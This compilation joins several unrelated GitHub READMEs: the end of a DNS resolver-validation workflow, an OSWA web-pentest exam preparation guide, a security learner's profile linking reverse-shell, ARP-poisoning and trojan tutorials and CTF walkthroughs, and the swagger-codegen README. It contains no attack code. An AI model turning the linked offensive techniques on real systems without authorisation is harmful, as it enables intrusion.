- [zeroc00I/test_github_action](https://github.com/zeroc00I/test_github_action) (Thanks, [zeroc00I](https://github.com/zeroc00I)).
- [Auto_Wordlists](https://github.com/carlospolop/Auto_Wordlists)'s resolvers list (Thanks, [carlospolop](https://github.com/carlospolop)).
- This mega list of resolvers is then `sort -u`d and split up into smaller chunks.
- Multiple instances of [dnsvalidator](https://github.com/vortexau/dnsvalidator) are created to validate the resolver lists in parallel (Huge thanks to [vortexau](https://github.com/vortexau) and [codingo](https://github.com/codingo)).
- Then we run another round of [dnsvalidator](https://github.com/vortexau/dnsvalidator) to weed out any false positives that survived the previous step.
- The final resolvers list is passed to a `whois` script (which uses [APNIC](https://www.apnic.net/)'s API) to find out the organization and country to which each resolver belong.
- In the end, the workflow counts the number of times it found each resolver to be valid throughout all the previous runs and writes the frequency data to `resolvers-extended.txt`.
- This workflow is scheduled to run constantly.
## Contribution
All contributions are welcome! You can create a pull request editing [resolvers-community.txt](resolvers-community.txt) to contribute new DNS servers to the project. For any other suggestions/questions, feel free to create a new ticket via [GitHub issues](https://github.com/trickest/resolvers/issues), tweet at us [@trick3st](https://twitter.com/trick3st), or join the conversation on [Discord](https://discord.gg/7HZmFYTGcQ).
## Build your own workflows!
We believe in the value of tinkering. Sign up for a demo on [trickest.com](https://trickest.com) to customize this workflow to your use case, get access to many more workflows, or build your own from scratch!
[<img src="./banner.png" />](https://trickest-access.paperform.co/)
|
# OSWA Experience And Exam Preparation Guide
My Offensive Security OSWA certification experience and my personal opinion what helps in preparation for the exam. You think I missed something or have a question? Just reach out by creating an issue or sending me message on [Twitter](https://twitter.com/rnd_infosec_guy)
## About OSWA/Web-200
### Content
The Offensive Security Web Assessor is the certification based on the web-200 course.
The goal of the web-200 course is to enable the participant to perform black box web application penetration tests.
Therefore, the course covers every relevant topic a pentester needs in these kind of penetration tests.
For a more detailed view regarding the content you can view the following resources:
- https://www.offensive-security.com/web200-oswa/
- https://www.offensive-security.com/documentation/WEB-200-Syllabus.pdf
### Exam
If you already took the OSCP certification of Offensive Security, the exam details probably sound very similar in your ears. The following points are some basic facts about the exam:
- 24 hours happy hacking
- 24 hours after the hacking part finished you need to have uploaded your pentest report
- 5 machines to pwn
- every machine has a local.txt and a proof.txt
- a total number of 100 points can be achived
- you need 70 points and a valid pentest report to pass the exam
If you want to know more details feel free to visit the official exam guide: https://help.offensive-security.com/hc/en-us/articles/4410105650964
## My Preparation and Experience
I would consider myself as a pentester with some decent level of experience. But I have to admit that the time frame in this certification probably makes it even for more experienced pentesters not like a walk in the park. So, for me the key to pass the exam were different points:
- go completely through the course material (even if you think you already know everything... there might be tips and tricks you did not know)
- clear all exercises
- clear all challenge labs
- watch all videos (repition is the key to learn things)
- **make some write up of the course where you write down commands in a copy/paste style, so you can recycle them during your exam (I did this several times)**
- if you have a subscription I would highly recommend doing the proving ground boxes provided by Offensive Security to gain speed in solving boxes
- speed, speed, speed... you need speed in clearing web application based CTF boxes to get fast enough to clear the exam boxes in the given time (basically you have about 3 to 3.5 hours per box if you at least want to have some sleep during the exam)
- parallelize tasks (e.g.: if you are performing some kind of dir busting, manually look at the target website and look for the juicy spots)
- be consequent: if you realize you are totally stuck, switch the target and come back later
- make screenshots of every part of your exploitation steps in the moment you are successfully exploiting the target (you will need them during the reporting part)
### Proving Grounds and Hack The Box Recommendations
It is difficult to recommend specific Proving Grounds boxes to prepare for the exam, as everyone is different. However, here are some boxes I would recommend to solve to get some practice.
- FunBoxEasyEnum
- Inclusiveness
- Potato
- Shakabra
- Sumo
- Hawat
- Interface
Even if Hack The Box (HTB) machines require privilege escalation and this is out of scope for the OSWA I also would recommend some of the boxes for the exam preparation.
- [Pilgrimage](https://www.hackthebox.com/machines/pilgrimage)
- [PC](https://www.hackthebox.com/machines/pc)
- [Soccer](https://www.hackthebox.com/machines/Soccer)
- [Precious](https://www.hackthebox.com/machines/Precious)
If you want to have a look at WriteUps a friend of mine and me made together have a look at our [blog](https://ha-l0.github.io/)
### [Syllabus related hints](https://github.com/rndinfosecguy/OSWA-Experience-And-Exam-Preparation/blob/main/syllabus.md)
|
# networking
## The Code
- Try Harder
- Progress is not moving forward on the problem. It is learning more. If you are learning ways that don't work, you are progressing and don't qualify to ask/look for hints.
- Applications break on bad inputs, not on good ones. Developers forget to consider bad inputs or edge test cases, they are your go-to.
## Profiles
[Wechall](https://www.wechall.net/profile/ellessar): Global rank: 3091 / 22851 (Last update: Mar 18, 2021)
[HackTheBox](https://www.hackthebox.eu/home/users/profile/362918): 703 (Last Update: May 3, 2021)
## Blogs:
[TCP Reverse Shell](https://medium.com/@neelam.nimish/python-tcp-reverse-shell-compromising-a-kali-machine-using-a-mac-6449b8684836)
[Router Simulation](https://medium.com/swlh/creating-a-simple-router-simulation-using-python-and-sockets-d6017b441c09)
[ARP Poison](https://medium.com/@neelam.nimish/sniffing-a-system-from-outside-a-network-tcp-reverse-shell-arp-poisoning-using-scapy-77a57b545cf6)
[HTTP based python trojan for remote code execution](https://medium.com/bugbountywriteup/python-http-based-trojan-for-remote-system-forensics-and-privilege-transfer-ae128891b4de?source=activity---post_recommended_rollup)
## OverTheWire walkthroughs
[Bandit](https://overthewire.org/wargames/bandit/) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/over_the_wire_challenges/bandit)
[Natas](https://overthewire.org/wargames/natas/) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/over_the_wire_challenges/natas)
## HackTheBox walkthroughs
[Traceback](https://www.hackthebox.eu/home/machines/profile/233) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/traceback)
[Admirer](https://www.hackthebox.eu/home/machines/profile/248) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/admirer)
[Blunder](https://www.hackthebox.eu/home/machines/profile/254) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/blunder)
[Time](https://www.hackthebox.eu/home/machines/profile/286) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/time) Have to work on ippsec's approach.
[Ready](https://www.hackthebox.eu/home/machines/profile/304) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/ready)
[Laboratory](https://app.hackthebox.eu/machines/Laboratory) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/laboratory)
[Tenet](https://app.hackthebox.eu/machines/Tenet) - [Walkthrough](https://app.hackthebox.eu/machines/Tenet) Rooted. Walkthrough comes after the box is retired.
[Knife](https://app.hackthebox.eu/machines/Knife) - [Walkthrough](https://app.hackthebox.eu/machines/Knife) Rooted. Walkthrough comes after the box is retired
## HackTheBox challenges
[OSINT Easy Phish](https://app.hackthebox.eu/challenges/Easy-Phish) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
[Web Emdee five for life](https://app.hackthebox.eu/challenges/Emdee-five-for-life) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
[Web Templated](https://app.hackthebox.eu/challenges/Templated) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
[Web Phonebook](https://app.hackthebox.eu/challenges/Phonebook) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
[You-know-0xDiablos](https://app.hackthebox.eu/challenges/You-know-0xDiablos) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
[Space](https://app.hackthebox.eu/challenges/Space) - [Walkthrough](https://github.com/NimishMishra/networking/tree/master/hackthebox/challenges)
## CTF replays
A list of **replayed** CTFs
- San Diego CTF 2021: [ctftime.org](https://ctftime.org/event/1255) - [walthroughs](https://github.com/NimishMishra/networking/tree/master/replayed-ctfs)
|
# Swagger Code Generator
[](https://travis-ci.org/swagger-api/swagger-codegen)
[](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea)
[](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu)
[](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project)
[](http://issuestats.com/github/swagger-api/swagger-codegen) [](http://issuestats.com/github/swagger-api/swagger-codegen)
:star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star:
:notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover:
:warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning:
:rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket:
## Overview
This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported:
- **API clients**: **ActionScript**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign), **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **Python**, **Ruby**, **Scala**, **Swift** (2.x, 3.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node)
- **Server stubs**: **C#** (ASP.NET Core, NancyFx), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy), **PHP** (Lumen, Slim, Silex, [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra)
- **API documentation generators**: **HTML**, **Confluence Wiki**
- **Others**: **JMeter**
Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project.
# Table of contents
- [Swagger Code Generator](#swagger-code-generator)
- [Overview](#overview)
- [Table of Contents](#table-of-contents)
- Installation
- [Compatibility](#compatibility)
- [Prerequisites](#prerequisites)
- [OS X Users](#os-x-users)
- [Building](#building)
- [Docker](#docker)
- [Build and run](#build-and-run-using-docker)
- [Run docker in Vagrant](#run-docker-in-vagrant)
- [Public Docker image](#public-docker-image)
- [Homebrew](#homebrew)
- [Getting Started](#getting-started)
- Generators
- [To generate a sample client library](#to-generate-a-sample-client-library)
- [Generating libraries from your server](#generating-libraries-from-your-server)
- [Modifying the client library format](#modifying-the-client-library-format)
- [Making your own codegen modules](#making-your-own-codegen-modules)
- [Where is Javascript???](#where-is-javascript)
- [Generating a client from local files](#generating-a-client-from-local-files)
- [Customizing the generator](#customizing-the-generator)
- [Validating your OpenAPI Spec](#validating-your-openapi-spec)
- [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation)
- [Generating static html api documentation](#generating-static-html-api-documentation)
- [To build a server stub](#to-build-a-server-stub)
- [To build the codegen library](#to-build-the-codegen-library)
- [Workflow Integration](#workflow-integration)
- [Github Integration](#github-integration)
- [Online Generators](#online-generators)
- [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution)
- [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen)
- [Swagger Codegen Core Team](#swagger-codegen-core-team)
- [Swagger Codegen Evangelist](#swagger-codegen-evangelist)
- [License](#license)
## Compatibility
The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification:
Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes
-------------------------- | ------------ | -------------------------- | -----
2.3.0 (upcoming minor release) | Apr/May 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes
2.2.3 (upcoming patch release) | TBD | 1.0, 1.1, 1.2, 2.0 | Patch release without breaking changes
2.2.2 (**current stable**) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2)
2.2.1 | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1)
2.1.6 | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6)
2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17)
1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1)
### Prerequisites
If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum):
```
wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar -O swagger-codegen-cli.jar
java -jar swagger-codegen-cli.jar help
```
On a mac, it's even easier with `brew`:
```
brew install swagger-codegen
```
To build from source, you need the following installed and available in your $PATH:
* [Java 7 or 8](http://java.oracle.com)
* [Apache maven 3.3.3 or greater](http://maven.apache.org/)
#### OS X Users
Don't forget to install Java 7 or 8. You probably have 1.6.
Export JAVA_HOME in order to use the supported Java version:
```
export JAVA_HOME=`/usr/libexec/java_home -v 1.8`
export PATH=${JAVA_HOME}/bin:$PATH
```
### Building
After cloning the project, you can build it from source with this command:
```
mvn clean package
```
### Homebrew
To install, run `brew install swagger-codegen`
Here is an example usage:
```
swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/
```
### Docker
#### Development in docker
You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen`
in the docker container. It also maps `~/.m2/repository` to the appropriate container location.
To execute `mvn package`:
```
git clone https://github.com/swagger-api/swagger-codegen
cd swagger-codegen
./run-in-docker.sh mvn package
```
Build artifacts are now accessible in your working directory.
Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example:
```
./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli
./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli
./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client
./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \
-l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore
```
#### Run Docker in Vagrant
Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads).
```
git clone http://github.com/swagger-api/swagger-codegen.git
cd swagger-codegen
vagrant up
vagrant ssh
cd /vagrant
./run-in-docker.sh mvn package
```
#### Public Pre-built Docker images
- https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service)
- https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI)
##### Swagger Generator Docker Image
The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code.
Example usage (note this assumes `jq` is installed for command line processing of JSON):
```
# Start container and save the container id
CID=$(docker run -d swaggerapi/swagger-generator)
# allow for startup
sleep 5
# Get the IP of the running container
GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID)
# Execute an HTTP request and store the download link
RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{
"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"
}' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"')
# Download the generated zip and redirect to a file
curl $RESULT > result.zip
# Shutdown the swagger generator image
docker stop $CID && docker rm $CID
```
In the example above, `result.zip` will contain the generated client.
##### Swagger Codegen CLI Docker Image
The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version.
To generate code with this image, you'll need to mount a local location as a volume.
Example:
```
docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \
-i http://petstore.swagger.io/v2/swagger.json \
-l go \
-o /local/out/go
```
The generated code will be located under `./out/go` in the current directory.
## Getting Started
To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following
```sh
git clone https://github.com/swagger-api/swagger-codegen
cd swagger-codegen
mvn clean package
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \
-i http://petstore.swagger.io/v2/swagger.json \
-l php \
-o /var/tmp/php_api_client
```
(if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`)
You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar)
To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate`
To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php`
## Generators
### To generate a sample client library
You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows:
```
./bin/java-petstore.sh
```
(On Windows, run `.\bin\windows\java-petstore.bat` instead)
This will run the generator with this command:
```
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \
-i http://petstore.swagger.io/v2/swagger.json \
-l java \
-o samples/client/petstore/java
```
with a number of options. You can get the options with the `help generate` command:
```
NAME
swagger-codegen-cli generate - Generate code with chosen lang
SYNOPSIS
swagger-codegen-cli generate
[(-a <authorization> | --auth <authorization>)]
[--additional-properties <additional properties>]
[--api-package <api package>] [--artifact-id <artifact id>]
[--artifact-version <artifact version>]
[(-c <configuration file> | --config <configuration file>)]
[-D <system properties>] [--group-id <group id>]
(-i <spec file> | --input-spec <spec file>)
[--import-mappings <import mappings>]
[--instantiation-types <instantiation types>]
[--invoker-package <invoker package>]
(-l <language> | --lang <language>)
[--language-specific-primitives <language specific primitives>]
[--library <library>] [--model-package <model package>]
[(-o <output directory> | --output <output directory>)]
[(-s | --skip-overwrite)]
[(-t <template directory> | --template-dir <template directory>)]
[--type-mappings <type mappings>] [(-v | --verbose)]
OPTIONS
-a <authorization>, --auth <authorization>
adds authorization headers when fetching the swagger definitions
remotely. Pass in a URL-encoded string of name:header with a comma
separating multiple values
--additional-properties <additional properties>
sets additional properties that can be referenced by the mustache
templates in the format of name=value,name=value
--api-package <api package>
package for generated api classes
--artifact-id <artifact id>
artifactId in generated pom.xml
--artifact-version <artifact version>
artifact version in generated pom.xml
-c <configuration file>, --config <configuration file>
Path to json configuration file. File content should be in a json
format {"optionKey":"optionValue", "optionKey1":"optionValue1"...}
Supported options can be different for each language. Run
config-help -l {lang} command for language specific config options.
-D <system properties>
sets specified system properties in the format of
name=value,name=value
--group-id <group id>
groupId in generated pom.xml
-i <spec file>, --input-spec <spec file>
location of the swagger spec, as URL or file (required)
--import-mappings <import mappings>
specifies mappings between a given class and the import that should
be used for that class in the format of type=import,type=import
--instantiation-types <instantiation types>
sets instantiation type mappings in the format of
type=instantiatedType,type=instantiatedType.For example (in Java):
array=ArrayList,map=HashMap. In other words array types will get
instantiated as ArrayList in generated code.
--invoker-package <invoker package>
root package for generated code
-l <language>, --lang <language>
client language to generate (maybe class name in classpath,
required)
--language-specific-primitives <language specific primitives>
specifies additional language specific primitive types in the format
of type1,type2,type3,type3. For example:
String,boolean,Boolean,Double
--library <library>
library template (sub-template)
--model-package <model package>
package for generated models
-o <output directory>, --output <output directory>
where to write the generated files (current dir by default)
-s, --skip-overwrite
specifies if the existing files should be overwritten during the
generation.
-t <template directory>, --template-dir <template directory>
folder containing the template files
--type-mappings <type mappings>
sets mappings between swagger spec types and generated code types in
the format of swaggerType=generatedType,swaggerType=generatedType.
For example: array=List,map=Map,string=String
--reserved-words-mappings <import mappings>
specifies how a reserved name should be escaped to. Otherwise, the
default _<name> is used. For example id=identifier
-v, --verbose
verbose mode
```
You can then compile and run the client, as well as unit tests against it:
```
cd samples/client/petstore/java
mvn package
```
Other languages have petstore samples, too:
```
./bin/android-petstore.sh
./bin/java-petstore.sh
./bin/objc-petstore.sh
```
### Generating libraries from your server
It's just as easy--just use the `-i` flag to point to either a server or file.
### Modifying the client library format
Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own.
You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy.
### Making your own codegen modules
If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries:
```
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \
-o output/myLibrary -n myClientCodegen -p com.my.company.codegen
```
This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic.
You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such:
```
java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen
```
For Windows users, you will need to use `;` instead of `:` in the classpath, e.g.
```
java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen
```
Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library:
```
java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \
io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\
-i http://petstore.swagger.io/v2/swagger.json \
-o myClient
```
### Where is Javascript???
See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require
static code generation.
There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification.
:exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala.
### Generating a client from local files
If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument
to the code generator like this:
```
-i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json
```
Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane.
### Selective generation
You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output:
The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated:
```
# generate only models
java -Dmodels {opts}
# generate only apis
java -Dapis {opts}
# generate only supporting files
java -DsupportingFiles
# generate models and supporting files
java -Dmodels -DsupportingFiles
```
To control the specific files being generated, you can pass a CSV list of what you want:
```
# generate the User and Pet models only
-Dmodels=User,Pet
# generate the User model and the supportingFile `StringUtil.java`:
-Dmodels=User -DsupportingFiles=StringUtil.java
```
To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`.
These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`):
```
# generate only models (with tests and documentation)
java -Dmodels {opts}
# generate only models (with tests but no documentation)
java -Dmodels -DmodelDocs=false {opts}
# generate only User and Pet models (no tests and no documentation)
java -Dmodels=User,Pet -DmodelTests=false {opts}
# generate only apis (without tests)
java -Dapis -DapiTests=false {opts}
# generate only apis (modelTests option is ignored)
java -Dapis -DmodelTests=false {opts}
```
When using selective generation, _only_ the templates needed for the specific generation will be used.
### Ignore file format
Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with.
The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code.
Examples:
```
# Swagger Codegen Ignore
# Lines beginning with a # are comments
# This should match build.sh located anywhere.
build.sh
# Matches build.sh in the root
/build.sh
# Exclude all recursively
docs/**
# Explicitly allow files excluded by other rules
!docs/UserApi.md
# Recursively exclude directories named Api
# You can't negate files below this directory.
src/**/Api/
# When this file is nested under /Api (excluded above),
# this rule is ignored because parent directory is excluded by previous rule.
!src/**/PetApiTests.cs
# Exclude a single, nested file explicitly
src/IO.Swagger.Test/Model/AnimalFarmTests.cs
```
The `.swagger-codegen-ignore` file must exist in the root of the output directory.
### Customizing the generator
There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc:
```
$ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/
AbstractJavaJAXRSServerCodegen.java
AbstractTypeScriptClientCodegen.java
AkkaScalaClientCodegen.java
AndroidClientCodegen.java
AspNet5ServerCodegen.java
AspNetCoreServerCodegen.java
AsyncScalaClientCodegen.java
BashClientCodegen.java
CSharpClientCodegen.java
ClojureClientCodegen.java
CsharpDotNet2ClientCodegen.java
DartClientCodegen.java
FlashClientCodegen.java
FlaskConnexionCodegen.java
GoClientCodegen.java
HaskellServantCodegen.java
JMeterCodegen.java
JavaCXFServerCodegen.java
JavaClientCodegen.java
JavaInflectorServerCodegen.java
JavaJerseyServerCodegen.java
JavaResteasyServerCodegen.java
JavascriptClientCodegen.java
NodeJSServerCodegen.java
NancyFXServerCodegen
ObjcClientCodegen.java
PerlClientCodegen.java
PhpClientCodegen.java
PythonClientCodegen.java
Qt5CPPGenerator.java
RubyClientCodegen.java
ScalaClientCodegen.java
ScalatraServerCodegen.java
SilexServerCodegen.java
SinatraServerCodegen.java
SlimFrameworkServerCodegen.java
SpringMVCServerCodegen.java
StaticDocCodegen.java
StaticHtmlGenerator.java
SwaggerGenerator.java
SwaggerYamlGenerator.java
SwiftCodegen.java
TizenClientCodegen.java
TypeScriptAngularClientCodegen.java
TypeScriptNodeClientCodegen.java
```
Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values.
```
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \
-i http://petstore.swagger.io/v2/swagger.json \
-l java \
-o samples/client/petstore/java \
-c path/to/config.json
```
and `config.json` contains the following as an example:
```
{
"apiPackage" : "petstore"
}
```
Supported config options can be different per language. Running `config-help -l {lang}` will show available options.
**These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it)
```
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java
```
Output
```
CONFIG OPTIONS
modelPackage
package for generated models
apiPackage
package for generated api classes
sortParamsByRequiredFlag
Sort method arguments to place required parameters before optional parameters. Default: true
invokerPackage
root package for generated code
groupId
groupId in generated pom.xml
artifactId
artifactId in generated pom.xml
artifactVersion
artifact version in generated pom.xml
sourceFolder
source folder for generated code
localVariablePrefix
prefix for generated code members and local variables
serializableModel
boolean - toggle "implements Serializable" for generated models
library
library template (sub-template) to use:
jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2
jersey2 - HTTP client: Jersey client 2.6
feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3
okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1
retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0)
retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2)
```
Your config file for Java can look like
```json
{
"groupId":"com.my.company",
"artifactId":"MyClient",
"artifactVersion":"1.2.0",
"library":"feign"
}
```
For all the unspecified options default values will be used.
Another way to override default options is to extend the config class for the specific language.
To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java:
```java
package com.mycompany.swagger.codegen;
import io.swagger.codegen.languages.*;
public class MyObjcCodegen extends ObjcClientCodegen {
static {
PREFIX = "HELO";
}
}
```
and specify the `classname` when running the generator:
```
-l com.mycompany.swagger.codegen.MyObjcCodegen
```
Your subclass will now be loaded and overrides the `PREFIX` value in the superclass.
### Bringing your own models
Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell
the codegen what _not_ to create. When doing this, every location that references a specific model will
refer back to your classes. Note, this may not apply to all languages...
To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such:
```
--import-mappings Pet=my.models.MyPet
```
Or for multiple mappings:
```
Pet=my.models.MyPet,Order=my.models.MyOrder
```
### Validating your OpenAPI Spec
You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example:
http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json
### Generating dynamic html api documentation
To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation:
```
cd samples/dynamic-html/
npm install
node .
```
Which launches a node.js server so the AJAX calls have a place to go.
### Generating static html api documentation
To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem:
```
cd samples/html/
open index.html
```
### To build a server stub
Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information.
### To build the codegen library
